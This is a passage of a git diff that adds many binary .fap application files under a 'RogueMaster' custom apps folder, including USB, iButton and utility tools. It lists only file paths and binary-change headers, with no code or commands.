000000000..346fbc3f6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap new file mode 100644 index 000000000..6796d56d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap new file mode 100644 index 000000000..34b371fb8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap new file mode 100644 index 000000000..56d1c0d40 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap new file mode 100644 index 000000000..e856f002f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap new file mode 100644 index 000000000..051ce3f92 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap new file mode 100644 index 000000000..2cce87362 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap new file mode 100644 index 000000000..f0f9e3b14 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap new file mode 100644 index 000000000..a55a31b94 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap new file mode 100644 index 000000000..aae380d02 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap new file mode 100644 index 000000000..1904dcb10 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap new file mode 100644 index 000000000..92c795f2e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap new file mode 100644 index 000000000..eee8d6fa1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap new file mode 100644 index 000000000..57b1a2ade Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap new file mode 100644 index 000000000..f31e56231 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap new file mode 100644 index 000000000..ecf4622b6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap new file mode 100644 index 000000000..383aa6cf2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap new file mode 100644 index 000000000..3292d6a9b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap new file mode 100644 index 000000000..3375e4f17 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap new file mode 100644 index 000000000..268f86242 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap differ